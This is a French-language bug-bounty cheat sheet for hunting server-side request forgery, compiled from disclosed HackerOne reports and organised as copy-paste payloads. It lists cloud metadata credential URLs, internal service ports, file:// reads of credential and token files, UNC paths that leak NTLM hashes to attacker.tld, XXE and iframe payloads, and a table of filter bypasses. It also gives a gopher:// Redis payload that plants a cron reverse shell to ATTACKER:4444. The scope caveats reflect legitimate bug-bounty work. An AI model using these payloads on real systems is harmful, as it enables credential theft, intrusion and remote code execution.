SSRFIntermediate19 min read2026-08-14
LANG:EN|FR

Kit de Chasse SSRF

Chaque nom de paramètre, chaque payload, chaque contournement de filtre et chaque étape d'escalade pour chasser les Server-Side Request Forgery — extraits de 217 rapports HackerOne divulgués et mis en page pour être collés, pas pour être lus.

LA RECHERCHE DERRIÈRE CE KIT
Ce kit condense les techniques observées dans 217 rapports divulgués. Lire l'analyse complète
#SSRF#Payloads#Check-list#Métadonnées Cloud#DNS Rebinding#Contournement de Filtres#Méthodologie
COMMENT UTILISER CETTE PAGE
Une fiche de référence, pas un article. Les sections 1 à 3 servent pour la première heure passée sur une cible. La section 4 sert quand le payload naïf se fait rejeter. Les sections 5 à 7 servent à transformer un callback en rapport rémunéré.
La recherche qui l'appuie : SSRF dans la Nature — 217 rapports divulgués. Chaque numéro de rapport ci-dessous renvoie à l'original.

1. Où Ça se Cache

NOMS DE PARAMÈTRES — CHERCHEZ-LES DANS VOTRE HISTORIQUE BURP
# Points de requête URL génériques
url uri src href link target dest destination endpoint location
path host hostname domain site page addr address server

# Récupération / import / miroir
import_url fetch_url load_url source_url remote_url origin_url
download_url file_url media_url attachment_url document_url
remote_attachment_url   # GitLab #826361 — 10 000 $, le plus élevé du corpus
imageUrl image_url icon_url avatar_url logo_url thumbnail_url
preview_url og_url unfurl link_preview embed_url oembed

# Surfaces de callback / d'intégration (23 rapports dans le corpus)
callback callback_url webhook webhook_url notify_url hook
postback_url return_url notification_endpoint sink_url
smtpHost sieveHost imapHost   # Nextcloud a déposé cinq rapports par ce biais
ldap_url ldap_host proxy proxy_url upstream backend_url
sso_url metadata_url jwks_uri issuer well_known_url

# Paramètres de type redirection qui atteignent un récupérateur côté serveur
next redirect redirect_uri redir return continue forward
out view show data feed rss xml_feed

# Champs de configuration cloud / infra
s3_endpoint bucket_endpoint region_endpoint registry_url
api_base base_url instance_url tenant_url git_url repo_url

LES FONCTIONS QUI VONT CHERCHER UNE URL (SANS PARAMÈTRE URL VISIBLE)

  • • Export PDF ou génération de rapport — Chrome headless, wkhtmltopdf, Puppeteer. Le #2262382 de HackerOne lui-même tenait à une iframe dans un modèle de tableau de bord. CVSS 10.0.
  • • Téléversement de SVG — <image href>, <use>, feuilles de style externes. Shopify #223203.
  • • Tout parseur XML/DOCX/XLSX/SVG — une XXE, c'est une SSRF avec deux étapes de plus. Uber #448598.
  • • Transcodage vidéo ou image — playlists HLS de FFmpeg. TikTok #1062888.
  • • Moteurs de rendu Markdown, outils d'assainissement HTML, générateurs d'aperçus de liens, récupérateurs de favicon.
  • • Les boutons « Tester la connexion » de chaque page de configuration d'intégration.

EN-TÊTES ET VECTEURS HORS CORPS DE REQUÊTE

  • X-Forwarded-Host, X-Forwarded-Server, Host — proxies de routage et préchauffeurs de cache.
  • Referer — les backends d'analytique qui vont rechercher la page référente.
  • X-Original-URL / X-Rewrite-URL — contrôleurs frontaux Nginx et Symfony.
  • Forwarded, X-Api-Version pointant vers une URL de schéma.
  • • URLs d'assemblage de schémas OpenAPI / GraphQL, arguments d'outils MCP (#3176157).
  • • Cibles Windows : un chemin UNC dans n'importe quel champ de chemin fait fuiter le NTLM (#2585385).

2. La Check-list de Chasse

DE LA PREMIÈRE SONDE À L'IMPACT CONFIRMÉ

ÉTAPE 1 — CARTOGRAPHIER LES POINTS DE REQUÊTE SORTANTE
À faire : parcourez le site en session authentifiée, puis cherchez la liste de la section 1 dans l'historique du proxy. Recensez chaque page de réglages dotée d'un bouton « test ».
Outils : le filtre d'historique de Burp Suite, gau + gf ssrf, ParamSpider.
Signal positif : un paramètre dont la valeur est renvoyée sous forme de contenu récupéré, ou une 5xx qui diffère du 400 obtenu avec une valeur invalide.
ÉTAPE 2 — PROUVER QUE LE SERVEUR APPELLE VERS L'EXTÉRIEUR
À faire : faites pointer chaque candidat vers un sous-domaine OOB unique, afin de savoir quel paramètre a déclenché l'appel.
Outils : Burp Collaborator, interactsh-client, ngrok.
Signal positif : une requête HTTP, pas seulement une résolution DNS. Notez l'IP source — s'il s'agit d'une plage de sortie cloud et non de l'IP publique de l'application, vous êtes à l'intérieur du VPC.
ÉTAPE 3 — TRANCHER ENTRE AVEUGLE ET LECTURE COMPLÈTE
À faire : servez un contenu reconnaissable depuis votre hôte OOB et vérifiez s'il ressort dans la réponse, dans un PDF généré, dans un message d'erreur ou dans un aperçu enregistré.
Outils : un simple fichier statique sur votre propre machine.
Signal positif : votre chaîne témoin s'affiche quelque part. La lecture complète ne concerne que 8 rapports sur 217 et occupe la tranche de sévérité la plus haute — arrêtez tout et passez directement à l'étape 5.
ÉTAPE 4 — SURFACE DES SCHÉMAS ET DES REDIRECTIONS
À faire : testez file://, gopher://, dict://, ftp://, ldap://, puis une 302 depuis votre hôte vers 169.254.169.254.
Outils : un redirecteur d'une seule ligne ; Gopherus pour le détournement de protocole.
Signal positif : la redirection est suivie. Les bibliothèques clientes valident la première URL puis enchaînent les sauts à l'aveugle — Kubernetes #1544133.
ÉTAPE 5 — ATTEINDRE QUELQUE CHOSE QUI COMPTE
À faire : les métadonnées d'abord, puis le balayage des ports internes de la section 3.
Outils : ffuf sur le paramètre vulnérable avec une liste de ports ; surveillez la longueur et le temps de réponse.
Signal positif : un corps de réponse que vous n'auriez jamais dû voir, ou une séparation nette entre connexion refusée et connexion établie suivie d'une expiration.
ÉTAPE 6 — CONTOURNER, PUIS ESCALADER
À faire : si l'étape 5 a été bloquée, déroulez le tableau de la section 4 dans l'ordre — les encodages ne coûtent rien, le rebinding coûte cher.
Outils : un hôte de rebinding (rbndr.us, 1u.ms), nip.io pour une correspondance statique.
Signal positif : mettre en échec une protection déjà déployée constitue une vulnérabilité à part entière — 22 rapports sur 217 ont fait exactement cela, dont deux contre Smokescreen, le proxy que Stripe avait justement conçu pour s'en prémunir.

3. Aide-Mémoire des Payloads

MÉTADONNÉES CLOUD — TOUS LES FOURNISSEURS
# AWS IMDSv1 — aucune authentification, tout est là. Énumérez d'abord le nom du rôle.
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-from-previous-line>
http://169.254.169.254/latest/user-data/            # scripts d'amorçage, souvent des secrets en dur
http://169.254.169.254/latest/dynamic/instance-identity/document
http://[fd00:ec2::254]/latest/meta-data/            # IMDS IPv6 — souvent oublié par les listes de blocage IPv4 uniquement

# Rôle de tâche AWS ECS / Fargate — autre IP, autre chemin
http://169.254.170.2/v2/credentials/                # ajoutez l'UUID tiré de $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
http://169.254.170.2/v2/metadata

# GCP — v1 exige "Metadata-Flavor: Google". Historiquement, v1beta1 non.
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
http://169.254.169.254/computeMetadata/v1/project/project-id

# Azure — exige "Metadata: true"
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# Autres
http://100.100.100.200/latest/meta-data/            # Alibaba Cloud — dans le CGNAT, rarement mis en liste de blocage
http://169.254.169.254/metadata/v1.json             # DigitalOcean
http://169.254.169.254/opc/v1/instance/             # Oracle OCI (v2 exige Bearer Oracle)
http://169.254.169.254/openstack/latest/meta_data.json
BALAYAGE DES PORTS INTERNES — CLASSÉ PAR RENDEMENT
# Services sans authentification par défaut. Les atteindre vaut une sévérité élevée immédiate.
http://127.0.0.1:2375/version          # API Docker — aucune authentification par défaut, RCE via création de conteneur
http://127.0.0.1:6379/                 # Redis — voir le payload gopher plus bas
http://127.0.0.1:9200/_cat/indices     # Elasticsearch — vidage complet de l'index
http://127.0.0.1:8500/v1/kv/?recurse   # Consul KV — magasin de secrets
http://127.0.0.1:2379/v2/keys/?recursive=true   # etcd — état du cluster Kubernetes
http://127.0.0.1:10250/pods            # kubelet — points de terminaison read-only et run
http://127.0.0.1:11211/                # memcached
http://127.0.0.1:27017/                # MongoDB

# Généralement authentifiés, mais la bannière vaut le coup d'œil
http://127.0.0.1:8200/v1/sys/health    # Vault
http://127.0.0.1:3000/                 # Grafana — GitLab #878779 a lu un Grafana interne par ce biais
http://127.0.0.1:9090/api/v1/targets   # Prometheus — fait fuiter toute la cartographie des services internes
http://127.0.0.1:5601/api/status       # Kibana
http://127.0.0.1:15672/api/overview    # administration RabbitMQ
http://127.0.0.1:8080/  :8000  :8888  :9000  :4444  :7001  # panneaux applicatifs / d'administration

# Autres écritures de la boucle locale, si 127.0.0.1 est filtré par comparaison de chaînes
http://localhost/  http://127.1/  http://0/  http://[::]/  http://[::1]/
http://0.0.0.0:6379/

# Kubernetes depuis l'intérieur du cluster (le jeton SA est sur le disque, pas ici — combinez avec file://)
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
SCHÉMAS NON HTTP ET DÉTOURNEMENT DE PROTOCOLE
# file:// — essayez ceci avant de supposer que le schéma est bloqué
file:///etc/passwd
file:///proc/self/environ                    # variables d'env : identifiants BDD, clés d'API, variables AWS_*
file:///proc/self/cwd/.env
file:///proc/net/tcp                         # ports en écoute, en hexadécimal — un scan de ports interne gratuit
file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///root/.aws/credentials
file://\/\/etc/passwd                        # contournement par déformation des slashes, pour filtres de schéma naïfs
netdoc:///etc/passwd                         # alias propre à Java pour file://

# gopher:// — octets TCP arbitraires. C'est ce qui transforme une SSRF en RCE.
# Redis : écrit une entrée cron. %0d%0a vaut CRLF ; chaque commande est encodée en RESP.
gopher://127.0.0.1:6379/_%2A1%0d%0a%248%0d%0aflushall%0d%0a%2A3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2A64%0d%0a%0a%0a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0a%0a%0d%0a%2A4%0d%0a%243%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2A10%0d%0a%2Fvar%2Fspool%2Fcron%0d%0a

# dict:// — récupération de bannière à bas coût, marche là où gopher est filtré
dict://127.0.0.1:6379/info
dict://127.0.0.1:11211/stats

# Windows : un chemin UNC fait fuiter le hash NTLM du compte de service vers votre écouteur SMB
\\attacker.tld\share\x           # Apache CVE-2024-38472 / #2585385
//attacker.tld/share/x

# XXE-en-SSRF, pour toute entrée XML/SVG/DOCX
<!DOCTYPE r [<!ENTITY x SYSTEM "http://169.254.169.254/latest/meta-data/">]><r>&x;</r>

# HTML injecté dans un moteur de rendu PDF/capture d'écran côté serveur
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width=1000 height=1000>
<img src="http://169.254.169.254/latest/user-data/">
<link rel=stylesheet href="http://127.0.0.1:8500/v1/kv/?recurse">

4. Contournements de Filtres et de Protections

Parcourez ce tableau de haut en bas : les astuces sur les chaînes de caractères d'abord, le rebinding en dernier. Chaque ligne renvoie à un rapport où la technique a mis en échec une protection que la cible avait réellement déployée.

| Technique | Payload | Pourquoi ça marche | |---|---|---| | IPv4 mappée en IPv6 | http://[::ffff:169.254.169.254]/#2301565 | Le validateur analyse un littéral IPv6 et ne le confronte jamais aux plages IPv4 interdites ; la socket, elle, se connecte en v4. | | Décimal / octal / hexadécimal | http://2130706433/ http://0177.0.0.1/ http://0x7f000001/ | inet_aton() accepte les quatre notations. Les contrôles à base d'expressions régulières ne reconnaissent jamais que la notation pointée. | | Boucle locale en forme courte | http://127.1/ http://0/ http://[::]/ | Les octets manquants sont complétés par des zéros au moment de la connexion. 0 se résout en 0.0.0.0, que le noyau route vers localhost. | | Point final | http://metadata.google.internal./#1410214 | Le label racine du FQDN est retiré par le résolveur, mais pas par la comparaison de chaînes. A eu raison de la deny_list de Smokescreen chez Stripe. | | Doubles crochets | http://[[::1]]/#1580495 | Deuxième contournement de Smokescreen. Le parseur du proxy et le client HTTP ne s'accordent pas sur l'endroit où se termine l'hôte. | | Troncature du nom d'hôte | hôte de 256 caractères ou plus se terminant par 0x00007f000001#2429894 | libuv tronquait le nom dans un tampon de taille fixe : la chaîne validée et la chaîne résolue n'étaient donc pas les mêmes. 4 860 $. | | Confusion identifiants / hôte | http://expected-cdn.com@169.254.169.254/ | Tout ce qui précède le @ relève des informations d'utilisateur. Les parseurs naïfs y voient l'hôte ; le client, lui, lit ce qui suit. | | Troncature par fragment ou octet nul | http://169.254.169.254#@expected-cdn.com http://169.254.169.254%00@cdn.com | Désaccord entre parseurs sur la fin de l'autorité — la classe de failles sur laquelle Orange Tsai a bâti sa carrière. | | URL relative au protocole | //169.254.169.254/latest/meta-data/ | Court-circuite entièrement une liste blanche de schémas ; le client hérite du schéma de l'appelant. | | Résolution DNS générique | http://169.254.169.254.nip.io/ http://make-127-0-0-1.1u.ms/ | Le nom paraît externe et public. La résolution renvoie l'IP interne qu'il encode. Vient à bout des listes blanches de noms d'hôtes, pas des vérifications sur l'IP résolue. | | Chaînage avec une redirection ouverte | http://target.com/out?to=http://169.254.169.254/#1544133 | La première URL passe la validation ; le saut 30X est suivi sans aucun contrôle. Chaînez la redirection ouverte de la cible elle-même et les listes blanches de domaines tombent à leur tour. | | DNS rebinding | hôte rbndr.us ou 1u.ms avec un TTL à 0 — #1369312, #2115212, #3176157 | Deux résolutions : celle de la vérification renvoie une IP publique, celle de la connexion renvoie 127.0.0.1. Vient à bout de tout validateur qui résout puis récupère sans épingler l'IP. | | Casse et déformation Unicode de l'hôte | http://METADATA.google.INTERNAL/ http://169。254。169。254/ | Les comparaisons sensibles à la casse laissent passer la première. Le point idéographique est normalisé en . par les parseurs d'URL de qualité navigateur — donc pertinent contre les moteurs de rendu Chrome headless. | | Écritures alphanumériques d'une IP | Voir #1702864 | Les écritures non numériques d'une adresse passent au travers d'une validation qui présuppose qu'une IP se compose de chiffres et de points. A rapporté 250 $ chez Nextcloud. |

5. Échelle d'Escalade

DU CALLBACK AU CHÈQUE — MONTEZ AUSSI HAUT QUE LE PÉRIMÈTRE L'AUTORISE

PHASE 1 : CALLBACK HORS BANDE — FAIBLE / INFORMATIF
Une résolution DNS et une requête HTTP émises depuis une IP contrôlée par le serveur. Prise isolément, c'est là que se rangent les 36 rapports de sévérité faible et les 6 sans sévérité du corpus. Capturez l'IP source et le User-Agent — l'UA nomme le composant qui récupère l'URL (wkhtmltopdf, Go-http-client, python-requests) et vous indique quels défauts de parseur tenter ensuite. Ne rédigez pas le rapport pour vous arrêter là.
PHASE 2 : ACCÈS AU RÉSEAU INTERNE — MOYENNE
Montrez une différence mesurable entre un port interne ouvert et un port fermé, ou atteignez un nom d'hôte interne qui ne se résout qu'à l'intérieur du VPC. Le #1875484 de 8x8 était exactement cela — le programme a retiré tout le chemin d'API concerné. La SSRF aveugle représente 35 rapports sur 217 ; c'est l'accès au réseau interne qui la sépare du bruit.
PHASE 3 : EXFILTRATION DE LA RÉPONSE — ÉLEVÉE
Faites sortir le corps d'une réponse interne — rendu dans un PDF, conservé dans un aperçu, réfléchi dans une erreur, ou extrait bit par bit par mesure de temps. GitLab #878779 a permis de lire un Grafana interne ; Lark #1409727 a payé 5 000 $ pour une lecture complète via l'import de documents.
PHASE 4 : VOL D'IDENTIFIANTS — CRITIQUE
Identifiants de rôle IMDS, jeton de compte de service GCP, ou secret Vault/Consul. Prouvez que l'identifiant est encore valide avec un unique appel en lecture seule — aws sts get-caller-identity, expurgé dans le rapport — puis arrêtez-vous. Le #2262382 de HackerOne fait référence : une iframe dans un modèle de PDF, CVSSv3 10.0.
PHASE 5 : EXÉCUTION DE CODE — PLAFOND
API Docker sur le 2375, Redis via gopher, exec kubelet, ou un runner d'intégration continue interne. Shopify #341876 est passé des métadonnées à l'IAM puis au compte root de chaque conteneur d'un sous-ensemble de l'infrastructure, et a été rémunéré comme un équivalent RCE. Décrivez le chemin d'exploitation, et obtenez une autorisation écrite avant d'exécuter quoi que ce soit sur une infrastructure mutualisée.

6. Notes de Rédaction du Rapport

À INCLURE, SOUS PEINE DE DÉCLASSEMENT

  • • La requête et la réponse brutes, sous forme de texte copiable — pas seulement une capture d'écran.
  • • Le journal des interactions OOB, avec horodatages et IP source. Reliez-le à la requête qui l'a provoqué.
  • • La preuve que la récupération se fait côté serveur : l'IP source n'est pas la vôtre et la requête arrive sans en-tête de navigateur.
  • • Le corps de la réponse interne, ou le tableau des temps de réponse entre ports ouverts et fermés si la faille est aveugle.
  • • L'identifiant d'instance, le nom d'hôte et le nom du rôle tirés du document de métadonnées — c'est ce qui désigne l'actif touché à l'équipe de défense.
  • • Un seul sts get-caller-identity expurgé si vous avez atteint des identifiants. Rien au-delà.
  • • Une ligne de remédiation : liste blanche, épinglage DNS et IMDSv2 — pas « bloquez 169.254.169.254 ».

CALIBREZ LA SÉVÉRITÉ QUE VOUS RÉCLAMEZ

Sur les 217 rapports divulgués, 34,6 % ont été classés en sévérité moyenne et 16,6 % en faible ; seuls 41,5 % ont été jugés élevés ou critiques. Cette répartition tient presque entièrement à ce que le chercheur a démontré, et non à l'exotisme du payload.
La prime médiane divulguée est de 1 000 $, et 22 des 51 rapports affichant un montant relevaient d'une sévérité moyenne. Réclamer une sévérité critique pour un callback purement DNS est le plus court chemin vers une clôture en « informatif ».
Deux choses font bouger la note à coup sûr : un corps de réponse que l'application n'aurait jamais dû exposer, et un identifiant qui fonctionne encore. Tout le reste relève de la discussion.
Mettre en échec une protection déployée constitue une vulnérabilité distincte. 22 rapports du corpus l'ont fait. Dites-le explicitement dans le titre — le triage juge plus sévèrement le contournement d'une mesure existante qu'une faille sur un terrain vierge.

7. Impasses Connues

ÇA RESSEMBLE À UNE FAILLE, ÇA NE RAPPORTE RIEN

Un simple callback DNS. « Le serveur a résolu mon domaine » est une fonctionnalité de tous les produits d'aperçu de lien et de webhook de la planète. Sans accès au réseau interne, le rapport se referme en informatif. Obtenez la requête HTTP, puis atteignez un endroit interdit.
Les webhooks configurables par l'utilisateur qui n'atteignent qu'Internet. Joindre votre propre écouteur depuis un webhook est le comportement documenté. La vulnérabilité commence quand la destination est interne et que la protection censée l'empêcher cède.
Les cibles où IMDSv2 est imposé. Une SSRF limitée à une URL ne peut pas positionner X-aws-ec2-metadata-token-ttl-seconds sur une requête PUT. Si vous ne contrôlez qu'une URL, vous ne volerez pas ces identifiants — il vous faut la maîtrise des en-têtes (gopher, injection CRLF) ou un client de qualité navigateur. Ne revendiquez pas un vol d'identifiants que vous ne pouvez pas montrer.
Les 200 vides renvoyés par 169.254.169.254. Un corps vide ne prouve rien, et c'est exactement ce que renvoient les proxies de sortie modernes. Montrez un champ du document de métadonnées, sinon vous n'avez rien montré.
Les scans de ports fondés sur le seul temps de réponse, sur des serveurs de production chargés. La gigue d'une machine sous charge noie le signal de la connexion refusée. Répétez chaque port au moins cinq fois et présentez la distribution, ou renoncez à l'affirmation.
127.0.0.1 sur du serverless ou un conteneur créé à chaque requête. La boucle locale n'est que votre propre bac à sable, sans rien en écoute. Rabattez-vous plutôt sur le CIDR du VPC, sur les noms de découverte de services (, , ) et sur l'IP de métadonnées.
Les requêtes émises côté client. Si la requête part du navigateur de la victime, c'est une CSRF ou un problème de CORS, pas une SSRF. Vérifiez l'IP source avant de rédiger le titre.
Les réglages d'intégration réservés aux administrateurs. Les champs d'hôte SMTP/IMAP/LDAP sont de véritables points de requête sortante et ils sont bel et bien rémunérés — la grappe de rapports Nextcloud du corpus est passée exactement par là — mais ils se paient peu parce qu'ils exigent un compte administrateur. Le #1702864 a rapporté 250 $. Dosez votre temps en conséquence.
Le rebinding face à un validateur qui ne résout qu'une fois. Le rebinding exige deux résolutions. Si l'application résout puis se connecte à l'IP épinglée, aucune astuce de TTL n'y changera rien — vérifiez ce comportement avant de brûler un après-midi à monter une infrastructure DNS.
Les points de terminaison SaaS appartenant à un prestataire. Atteindre l'infrastructure d'un tiers à travers la cible est en général hors périmètre des deux côtés. Confirmez que l'IP source appartient bien à la cible avant de signaler.

Les numéros de rapport, la répartition des sévérités et les montants de primes de cette page proviennent des 217 rapports SSRF divulgués sur HackerOne et analysés dans l'étude de cas associée. Ne testez que sur des cibles dont le périmètre du programme l'autorise.

[SHARE_THIS_POST]
Help spread knowledge in the cybersecurity community